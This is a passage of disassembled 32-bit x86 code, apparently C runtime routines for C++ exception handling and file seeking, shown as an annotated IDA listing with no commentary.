loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2660000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		call	near ptr 269086Bh
		nop
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
